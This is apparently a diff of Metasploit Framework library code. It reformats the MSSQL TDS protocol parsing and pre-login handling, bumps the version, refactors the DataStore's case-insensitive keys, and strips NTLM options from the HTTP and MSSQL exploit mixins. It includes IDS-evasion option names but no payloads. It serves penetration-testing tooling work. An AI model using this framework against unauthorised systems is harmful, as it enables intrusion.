emsg.gsub!("\x00", '')
|
emsg.gsub!("\x00", '')
|
||||||
|
|
||||||
info[:infos]||= []
|
info[:infos] ||= []
|
||||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||||
info
|
info
|
||||||
end
|
end
|
||||||
|
@ -386,8 +355,8 @@ module Metasploit
|
||||||
# Parse a "login ack" TDS token
|
# Parse a "login ack" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_login_ack(data, info)
|
def mssql_parse_login_ack(data, info)
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
buff = data.slice!(0,len)
|
_buff = data.slice!(0, len)
|
||||||
info[:login_ack] = true
|
info[:login_ack] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -398,7 +367,7 @@ module Metasploit
|
||||||
info[:errors] = []
|
info[:errors] = []
|
||||||
return if not data
|
return if not data
|
||||||
until data.empty?
|
until data.empty?
|
||||||
token = data.slice!(0,1).unpack('C')[0]
|
token = data.slice!(0, 1).unpack('C')[0]
|
||||||
case token
|
case token
|
||||||
when 0x81
|
when 0x81
|
||||||
mssql_parse_tds_reply(data, info)
|
mssql_parse_tds_reply(data, info)
|
||||||
|
@ -434,14 +403,14 @@ module Metasploit
|
||||||
info[:colnames] ||= []
|
info[:colnames] ||= []
|
||||||
|
|
||||||
# Parse out the columns
|
# Parse out the columns
|
||||||
cols = data.slice!(0,2).unpack('v')[0]
|
cols = data.slice!(0, 2).unpack('v')[0]
|
||||||
0.upto(cols-1) do |col_idx|
|
0.upto(cols-1) do |col_idx|
|
||||||
col = {}
|
col = {}
|
||||||
info[:colinfos][col_idx] = col
|
info[:colinfos][col_idx] = col
|
||||||
|
|
||||||
col[:utype] = data.slice!(0,2).unpack('v')[0]
|
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:flags] = data.slice!(0,2).unpack('v')[0]
|
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:type] = data.slice!(0,1).unpack('C')[0]
|
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||||
|
|
||||||
case col[:type]
|
case col[:type]
|
||||||
when 48
|
when 48
|
||||||
|
@ -458,8 +427,8 @@ module Metasploit
|
||||||
|
|
||||||
when 34
|
when 34
|
||||||
col[:id] = :image
|
col[:id] = :image
|
||||||
col[:max_size] = data.slice!(0,4).unpack('V')[0]
|
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||||
col[:value_length] = data.slice!(0,2).unpack('v')[0]
|
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||||
|
|
||||||
when 36
|
when 36
|
||||||
|
@ -467,31 +436,31 @@ module Metasploit
|
||||||
|
|
||||||
when 38
|
when 38
|
||||||
col[:id] = :int
|
col[:id] = :int
|
||||||
col[:int_size] = data.slice!(0,1).unpack('C')[0]
|
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||||
|
|
||||||
when 127
|
when 127
|
||||||
col[:id] = :bigint
|
col[:id] = :bigint
|
||||||
|
|
||||||
when 165
|
when 165
|
||||||
col[:id] = :hex
|
col[:id] = :hex
|
||||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||||
|
|
||||||
when 173
|
when 173
|
||||||
col[:id] = :hex # binary(2)
|
col[:id] = :hex # binary(2)
|
||||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||||
|
|
||||||
when 231,175,167,239
|
when 231, 175, 167, 239
|
||||||
col[:id] = :string
|
col[:id] = :string
|
||||||
col[:max_size] = data.slice!(0,2).unpack('v')[0]
|
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:codepage] = data.slice!(0,2).unpack('v')[0]
|
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:cflags] = data.slice!(0,2).unpack('v')[0]
|
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||||
col[:charset_id] = data.slice!(0,1).unpack('C')[0]
|
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||||
|
|
||||||
else
|
else
|
||||||
col[:id] = :unknown
|
col[:id] = :unknown
|
||||||
end
|
end
|
||||||
|
|
||||||
col[:msg_len] = data.slice!(0,1).unpack('C')[0]
|
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||||
|
|
||||||
if(col[:msg_len] and col[:msg_len] > 0)
|
if(col[:msg_len] and col[:msg_len] > 0)
|
||||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||||
|
@ -517,28 +486,28 @@ module Metasploit
|
||||||
case col[:id]
|
case col[:id]
|
||||||
when :hex
|
when :hex
|
||||||
str = ""
|
str = ""
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
if(len > 0 and len < 65535)
|
if(len > 0 and len < 65535)
|
||||||
str << data.slice!(0,len)
|
str << data.slice!(0, len)
|
||||||
end
|
end
|
||||||
row << str.unpack("H*")[0]
|
row << str.unpack("H*")[0]
|
||||||
|
|
||||||
when :string
|
when :string
|
||||||
str = ""
|
str = ""
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
if(len > 0 and len < 65535)
|
if(len > 0 and len < 65535)
|
||||||
str << data.slice!(0,len)
|
str << data.slice!(0, len)
|
||||||
end
|
end
|
||||||
row << str.gsub("\x00", '')
|
row << str.gsub("\x00", '')
|
||||||
|
|
||||||
when :datetime
|
when :datetime
|
||||||
row << data.slice!(0,8).unpack("H*")[0]
|
row << data.slice!(0, 8).unpack("H*")[0]
|
||||||
|
|
||||||
when :rawint
|
when :rawint
|
||||||
row << data.slice!(0,4).unpack('V')[0]
|
row << data.slice!(0, 4).unpack('V')[0]
|
||||||
|
|
||||||
when :bigint
|
when :bigint
|
||||||
row << data.slice!(0,8).unpack("H*")[0]
|
row << data.slice!(0, 8).unpack("H*")[0]
|
||||||
|
|
||||||
when :smallint
|
when :smallint
|
||||||
row << data.slice!(0, 2).unpack("v")[0]
|
row << data.slice!(0, 2).unpack("v")[0]
|
||||||
|
@ -551,8 +520,8 @@ module Metasploit
|
||||||
|
|
||||||
when :image
|
when :image
|
||||||
str = ''
|
str = ''
|
||||||
len = data.slice!(0,1).unpack('C')[0]
|
len = data.slice!(0, 1).unpack('C')[0]
|
||||||
str = data.slice!(0,len) if (len and len > 0)
|
str = data.slice!(0, len) if (len and len > 0)
|
||||||
row << str.unpack("H*")[0]
|
row << str.unpack("H*")[0]
|
||||||
|
|
||||||
when :int
|
when :int
|
||||||
|
@ -560,7 +529,7 @@ module Metasploit
|
||||||
raw = data.slice!(0, len) if (len and len > 0)
|
raw = data.slice!(0, len) if (len and len > 0)
|
||||||
|
|
||||||
case len
|
case len
|
||||||
when 0,255
|
when 0, 255
|
||||||
row << ''
|
row << ''
|
||||||
when 1
|
when 1
|
||||||
row << raw.unpack("C")[0]
|
row << raw.unpack("C")[0]
|
||||||
|
@ -573,7 +542,7 @@ module Metasploit
|
||||||
when 8
|
when 8
|
||||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||||
else
|
else
|
||||||
info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
|
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
info[:errors] << "unknown column type: #{col.inspect}"
|
info[:errors] << "unknown column type: #{col.inspect}"
|
||||||
|
@ -595,7 +564,7 @@ module Metasploit
|
||||||
pkt_data = ""
|
pkt_data = ""
|
||||||
|
|
||||||
|
|
||||||
pkt_hdr = [
|
pkt_hdr = [
|
||||||
TYPE_PRE_LOGIN_MESSAGE, #type
|
TYPE_PRE_LOGIN_MESSAGE, #type
|
||||||
STATUS_END_OF_MESSAGE, #status
|
STATUS_END_OF_MESSAGE, #status
|
||||||
0x0000, #length
|
0x0000, #length
|
||||||
|
@ -604,7 +573,7 @@ module Metasploit
|
||||||
0x00 #Window
|
0x00 #Window
|
||||||
]
|
]
|
||||||
|
|
||||||
version = [0x55010008,0x0000].pack("Vv")
|
version = [0x55010008, 0x0000].pack("Vv")
|
||||||
|
|
||||||
# if manually set, we will honour
|
# if manually set, we will honour
|
||||||
if tdsencryption == true
|
if tdsencryption == true
|
||||||
|
@ -615,45 +584,45 @@ module Metasploit
|
||||||
|
|
||||||
instoptdata = "MSSQLServer\0"
|
instoptdata = "MSSQLServer\0"
|
||||||
|
|
||||||
threadid = "\0\0" + Rex::Text.rand_text(2)
|
threadid = "\0\0" + Rex::Text.rand_text(2)
|
||||||
|
|
||||||
idx = 21 # size of pkt_data_token
|
idx = 21 # size of pkt_data_token
|
||||||
pkt_data_token << [
|
pkt_data_token << [
|
||||||
0x00, # Token 0 type Version
|
0x00, # Token 0 type Version
|
||||||
idx , # VersionOffset
|
idx , # VersionOffset
|
||||||
version.length, # VersionLength
|
version.length, # VersionLength
|
||||||
|
|
||||||
0x01, # Token 1 type Encryption
|
0x01, # Token 1 type Encryption
|
||||||
idx = idx + version.length, # EncryptionOffset
|
idx = idx + version.length, # EncryptionOffset
|
||||||
0x01, # EncryptionLength
|
0x01, # EncryptionLength
|
||||||
|
|
||||||
0x02, # Token 2 type InstOpt
|
0x02, # Token 2 type InstOpt
|
||||||
idx = idx + 1, # InstOptOffset
|
idx = idx + 1, # InstOptOffset
|
||||||
instoptdata.length, # InstOptLength
|
instoptdata.length, # InstOptLength
|
||||||
|
|
||||||
0x03, # Token 3 type Threadid
|
0x03, # Token 3 type Threadid
|
||||||
idx + instoptdata.length, # ThreadIdOffset
|
idx + instoptdata.length, # ThreadIdOffset
|
||||||
0x04, # ThreadIdLength
|
0x04, # ThreadIdLength
|
||||||
|
|
||||||
0xFF
|
0xFF
|
||||||
].pack("CnnCnnCnnCnnC")
|
].pack("CnnCnnCnnCnnC")
|
||||||
|
|
||||||
pkt_data << pkt_data_token
|
pkt_data << pkt_data_token
|
||||||
pkt_data << version
|
pkt_data << version
|
||||||
pkt_data << encryption
|
pkt_data << encryption
|
||||||
pkt_data << instoptdata
|
pkt_data << instoptdata
|
||||||
pkt_data << threadid
|
pkt_data << threadid
|
||||||
|
|
||||||
pkt_hdr[2] = pkt_data.length + 8
|
pkt_hdr[2] = pkt_data.length + 8
|
||||||
|
|
||||||
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
||||||
|
|
||||||
resp = mssql_send_recv(pkt)
|
resp = mssql_send_recv(pkt)
|
||||||
|
|
||||||
idx = 0
|
idx = 0
|
||||||
|
|
||||||
while resp and resp[0,1] != "\xff" and resp.length > 5
|
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||||
token = resp.slice!(0,5)
|
token = resp.slice!(0, 5)
|
||||||
token = token.unpack("Cnn")
|
token = token.unpack("Cnn")
|
||||||
idx -= 5
|
idx -= 5
|
||||||
if token[0] == 0x01
|
if token[0] == 0x01
|
||||||
|
@ -663,7 +632,7 @@ module Metasploit
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if idx > 0
|
if idx > 0
|
||||||
encryption_mode = resp[idx,1].unpack("C")[0]
|
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||||
else
|
else
|
||||||
raise RunTimeError, "Unable to parse encryption req. "\
|
raise RunTimeError, "Unable to parse encryption req. "\
|
||||||
"from server during prelogin"
|
"from server during prelogin"
|
||||||
|
@ -701,8 +670,8 @@ module Metasploit
|
||||||
|
|
||||||
idx = 0
|
idx = 0
|
||||||
|
|
||||||
while resp and resp[0,1] != "\xff" and resp.length > 5
|
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||||
token = resp.slice!(0,5)
|
token = resp.slice!(0, 5)
|
||||||
token = token.unpack("Cnn")
|
token = token.unpack("Cnn")
|
||||||
idx -= 5
|
idx -= 5
|
||||||
if token[0] == 0x01
|
if token[0] == 0x01
|
||||||
|
@ -711,7 +680,7 @@ module Metasploit
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if idx > 0
|
if idx > 0
|
||||||
encryption_mode = resp[idx,1].unpack("C")[0]
|
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||||
else
|
else
|
||||||
raise RuntimeError, "Unable to parse encryption "\
|
raise RuntimeError, "Unable to parse encryption "\
|
||||||
"req during pre-login"
|
"req during pre-login"
|
||||||
|
@ -735,17 +704,17 @@ module Metasploit
|
||||||
|
|
||||||
while(not done)
|
while(not done)
|
||||||
head = sock.get_once(8, timeout)
|
head = sock.get_once(8, timeout)
|
||||||
if !(head and head.length == 8)
|
if !(head && head.length == 8)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
# Is this the last buffer?
|
# Is this the last buffer?
|
||||||
if(head[1,1] == "\x01" or not check_status )
|
if head[1, 1] == "\x01" || !check_status
|
||||||
done = true
|
done = true
|
||||||
end
|
end
|
||||||
|
|
||||||
# Grab this block's length
|
# Grab this block's length
|
||||||
rlen = head[2,2].unpack('n')[0] - 8
|
rlen = head[2, 2].unpack('n')[0] - 8
|
||||||
|
|
||||||
while(rlen > 0)
|
while(rlen > 0)
|
||||||
buff = sock.get_once(rlen, timeout)
|
buff = sock.get_once(rlen, timeout)
|
||||||
|
@ -758,7 +727,7 @@ module Metasploit
|
||||||
resp
|
resp
|
||||||
end
|
end
|
||||||
|
|
||||||
def mssql_ssl_send_recv(req,tdsproxy,timeout=15,check_status=true)
|
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
|
||||||
tdsproxy.send_recv(req)
|
tdsproxy.send_recv(req)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
VERSION = "4.12.8"
|
VERSION = "4.12.10"
|
||||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||||
PRERELEASE = 'dev'
|
PRERELEASE = 'dev'
|
||||||
HASH = get_hash
|
HASH = get_hash
|
||||||
|
|
|
@ -1,7 +1,4 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
require 'set'
|
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
###
|
###
|
||||||
|
@ -16,10 +13,9 @@ class DataStore < Hash
|
||||||
# Initializes the data store's internal state.
|
# Initializes the data store's internal state.
|
||||||
#
|
#
|
||||||
def initialize()
|
def initialize()
|
||||||
@options = Hash.new
|
@options = Hash.new
|
||||||
@imported = Hash.new
|
@imported = Hash.new
|
||||||
@imported_by = Hash.new
|
@imported_by = Hash.new
|
||||||
@original_keys = Set.new
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -27,8 +23,7 @@ class DataStore < Hash
|
||||||
# directly.
|
# directly.
|
||||||
#
|
#
|
||||||
def []=(k, v)
|
def []=(k, v)
|
||||||
add_key(k)
|
k = find_key_case(k)
|
||||||
k = k.downcase
|
|
||||||
@imported[k] = false
|
@imported[k] = false
|
||||||
@imported_by[k] = nil
|
@imported_by[k] = nil
|
||||||
|
|
||||||
|
@ -49,32 +44,31 @@ class DataStore < Hash
|
||||||
# Case-insensitive wrapper around hash lookup
|
# Case-insensitive wrapper around hash lookup
|
||||||
#
|
#
|
||||||
def [](k)
|
def [](k)
|
||||||
super(k.downcase)
|
super(find_key_case(k))
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Case-insensitive wrapper around store
|
# Case-insensitive wrapper around store
|
||||||
#
|
#
|
||||||
def store(k,v)
|
def store(k,v)
|
||||||
add_key(k)
|
super(find_key_case(k), v)
|
||||||
super(k.downcase, v)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Case-insensitive wrapper around delete
|
# Case-insensitive wrapper around delete
|
||||||
#
|
#
|
||||||
def delete(k)
|
def delete(k)
|
||||||
super(k.downcase)
|
super(find_key_case(k))
|
||||||
end
|
end
|
||||||
|
|
||||||
# Override Hash's to_h method so we can include the original case of each key
|
|
||||||
# (failing to do this breaks a number of places in framework and pro that use
|
#
|
||||||
# serialized datastores)
|
# Updates a value in the datastore with the specified name, k, to the
|
||||||
def to_h
|
# specified value, v. This update does not alter the imported status of
|
||||||
@original_keys.reduce({}) do |acc, key|
|
# the value.
|
||||||
acc[key] = self[key]
|
#
|
||||||
acc
|
def update_value(k, v)
|
||||||
end
|
self.store(k, v)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -134,16 +128,15 @@ class DataStore < Hash
|
||||||
# Imports options from a hash and stores them in the datastore.
|
# Imports options from a hash and stores them in the datastore.
|
||||||
#
|
#
|
||||||
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
|
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
|
||||||
option_hash.each_pair do |key, val|
|
option_hash.each_pair { |key, val|
|
||||||
import_option(key, val, imported, imported_by)
|
import_option(key, val, imported, imported_by)
|
||||||
end
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
def import_option(key, val, imported=true, imported_by=nil, option=nil)
|
def import_option(key, val, imported=true, imported_by=nil, option=nil)
|
||||||
self.store(key, val)
|
self.store(key, val)
|
||||||
|
|
||||||
key = key.downcase
|
@options[key] = option
|
||||||
@options[key] = option
|
|
||||||
@imported[key] = imported
|
@imported[key] = imported
|
||||||
@imported_by[key] = imported_by
|
@imported_by[key] = imported_by
|
||||||
end
|
end
|
||||||
|
@ -152,9 +145,21 @@ class DataStore < Hash
|
||||||
# Serializes the options in the datastore to a string.
|
# Serializes the options in the datastore to a string.
|
||||||
#
|
#
|
||||||
def to_s(delim = ' ')
|
def to_s(delim = ' ')
|
||||||
@original_keys.reduce('') do |acc, key|
|
str = ''
|
||||||
acc << "#{key}=#{self[key]}#{delim}"
|
|
||||||
|
keys.sort.each { |key|
|
||||||
|
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
|
||||||
|
}
|
||||||
|
|
||||||
|
return str
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_h
|
||||||
|
datastore_hash = {}
|
||||||
|
self.keys.each do |k|
|
||||||
|
datastore_hash[k.to_s] = self[k].to_s
|
||||||
end
|
end
|
||||||
|
datastore_hash
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -194,10 +199,9 @@ class DataStore < Hash
|
||||||
# not include default option values.
|
# not include default option values.
|
||||||
#
|
#
|
||||||
def user_defined
|
def user_defined
|
||||||
@original_keys.reduce({}) do |acc, k|
|
reject { |k, v|
|
||||||
acc[k] = self[k] unless @imported[k.downcase]
|
@imported[k] == true
|
||||||
acc
|
}
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -218,26 +222,40 @@ class DataStore < Hash
|
||||||
# Completely clear all values in the hash
|
# Completely clear all values in the hash
|
||||||
#
|
#
|
||||||
def clear
|
def clear
|
||||||
@options.clear
|
self.keys.each {|k| self.delete(k) }
|
||||||
@imported.clear
|
self
|
||||||
@imported_by.clear
|
|
||||||
@original_keys.clear
|
|
||||||
super
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Yield the original-cased key
|
#
|
||||||
|
# Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+
|
||||||
|
# "can't add a new key into hash during iteration"
|
||||||
|
#
|
||||||
def each(&block)
|
def each(&block)
|
||||||
@original_keys.each do |key|
|
list = []
|
||||||
block.call(key, self[key])
|
self.keys.sort.each do |sidx|
|
||||||
|
list << [sidx, self[sidx]]
|
||||||
end
|
end
|
||||||
|
list.each(&block)
|
||||||
end
|
end
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
# Keep track of the original, case-sensitive key
|
#
|
||||||
def add_key(k)
|
# Case-insensitive key lookup
|
||||||
@original_keys.add(k) unless include? k.downcase
|
#
|
||||||
|
def find_key_case(k)
|
||||||
|
|
||||||
|
# Scan each key looking for a match
|
||||||
|
self.each_key do |rk|
|
||||||
|
if (rk.downcase == k.downcase)
|
||||||
|
return rk
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Fall through to the non-existent value
|
||||||
|
return k
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
###
|
###
|
||||||
|
@ -260,7 +278,7 @@ class ModuleDataStore < DataStore
|
||||||
# if we can't directly find it
|
# if we can't directly find it
|
||||||
#
|
#
|
||||||
def fetch(key)
|
def fetch(key)
|
||||||
key = key.downcase
|
key = find_key_case(key)
|
||||||
val = nil
|
val = nil
|
||||||
val = super if(@imported_by[key] != 'self')
|
val = super if(@imported_by[key] != 'self')
|
||||||
if (val.nil? and @_module and @_module.framework)
|
if (val.nil? and @_module and @_module.framework)
|
||||||
|
@ -274,7 +292,7 @@ class ModuleDataStore < DataStore
|
||||||
# Same as fetch
|
# Same as fetch
|
||||||
#
|
#
|
||||||
def [](key)
|
def [](key)
|
||||||
key = key.downcase
|
key = find_key_case(key)
|
||||||
val = nil
|
val = nil
|
||||||
val = super if(@imported_by[key] != 'self')
|
val = super if(@imported_by[key] != 'self')
|
||||||
if (val.nil? and @_module and @_module.framework)
|
if (val.nil? and @_module and @_module.framework)
|
||||||
|
@ -297,10 +315,11 @@ class ModuleDataStore < DataStore
|
||||||
def copy
|
def copy
|
||||||
clone = self.class.new(@_module)
|
clone = self.class.new(@_module)
|
||||||
self.keys.each do |k|
|
self.keys.each do |k|
|
||||||
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k.downcase], @imported_by[k.downcase])
|
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
|
||||||
end
|
end
|
||||||
clone
|
clone
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -2,10 +2,6 @@
|
||||||
|
|
||||||
require 'uri'
|
require 'uri'
|
||||||
require 'digest'
|
require 'digest'
|
||||||
require 'rex/proto/ntlm/crypt'
|
|
||||||
require 'rex/proto/ntlm/constants'
|
|
||||||
require 'rex/proto/ntlm/utils'
|
|
||||||
require 'rex/proto/ntlm/exceptions'
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
###
|
###
|
||||||
|
@ -16,15 +12,6 @@ module Msf
|
||||||
###
|
###
|
||||||
module Exploit::Remote::HttpClient
|
module Exploit::Remote::HttpClient
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Exploit::Remote::NTLM::Client
|
|
||||||
|
|
||||||
#
|
|
||||||
# Constants
|
|
||||||
#
|
|
||||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
|
||||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
|
||||||
NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|
||||||
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Initializes an exploit module that exploits a vulnerability in an HTTP
|
# Initializes an exploit module that exploits a vulnerability in an HTTP
|
||||||
|
@ -193,12 +180,6 @@ module Exploit::Remote::HttpClient
|
||||||
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
|
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
|
||||||
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
|
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
|
||||||
'header_folding' => datastore['HTTP::header_folding'],
|
'header_folding' => datastore['HTTP::header_folding'],
|
||||||
'usentlm2_session' => datastore['NTLM::UseNTLM2_session'],
|
|
||||||
'use_ntlmv2' => datastore['NTLM::UseNTLMv2'],
|
|
||||||
'send_lm' => datastore['NTLM::SendLM'],
|
|
||||||
'send_ntlm' => datastore['NTLM::SendNTLM'],
|
|
||||||
'SendSPN' => datastore['NTLM::SendSPN'],
|
|
||||||
'UseLMKey' => datastore['NTLM::UseLMKey'],
|
|
||||||
'domain' => datastore['DOMAIN'],
|
'domain' => datastore['DOMAIN'],
|
||||||
'DigestAuthIIS' => datastore['DigestAuthIIS']
|
'DigestAuthIIS' => datastore['DigestAuthIIS']
|
||||||
)
|
)
|
||||||
|
@ -255,12 +236,6 @@ module Exploit::Remote::HttpClient
|
||||||
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
|
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
|
||||||
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
|
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
|
||||||
evade_header_folding: datastore['HTTP::header_folding'],
|
evade_header_folding: datastore['HTTP::header_folding'],
|
||||||
ntlm_use_ntlmv2_session: datastore['NTLM::UseNTLM2_session'],
|
|
||||||
ntlm_use_ntlmv2: datastore['NTLM::UseNTLMv2'],
|
|
||||||
ntlm_send_lm: datastore['NTLM::SendLM'],
|
|
||||||
ntlm_send_ntlm: datastore['NTLM::SendNTLM'],
|
|
||||||
ntlm_send_spn: datastore['NTLM::SendSPN'],
|
|
||||||
ntlm_use_lm_key: datastore['NTLM::UseLMKey'],
|
|
||||||
ntlm_domain: datastore['DOMAIN'],
|
ntlm_domain: datastore['DOMAIN'],
|
||||||
digest_auth_iis: datastore['DigestAuthIIS']
|
digest_auth_iis: datastore['DigestAuthIIS']
|
||||||
}.merge(conf)
|
}.merge(conf)
|
||||||
|
|
|
@ -1,11 +1,6 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/exploit/mssql_commands'
|
require 'msf/core/exploit/mssql_commands'
|
||||||
require 'rex/proto/ntlm/crypt'
|
|
||||||
require 'rex/proto/ntlm/constants'
|
|
||||||
require 'rex/proto/ntlm/utils'
|
|
||||||
require 'rex/proto/ntlm/exceptions'
|
|
||||||
|
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
|
@ -21,41 +16,32 @@ module Exploit::Remote::MSSQL
|
||||||
include Exploit::Remote::Tcp
|
include Exploit::Remote::Tcp
|
||||||
include Exploit::Remote::NTLM::Client
|
include Exploit::Remote::NTLM::Client
|
||||||
|
|
||||||
#
|
|
||||||
# Constants
|
|
||||||
#
|
|
||||||
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
|
||||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
|
||||||
NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|
||||||
NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
|
|
||||||
|
|
||||||
# Encryption
|
# Encryption
|
||||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||||
|
|
||||||
# Paquet Type
|
# Packet Type
|
||||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||||
TYPE_RPC = 3 # (Client) RPC
|
TYPE_RPC = 3 # (Client) RPC
|
||||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||||
|
|
||||||
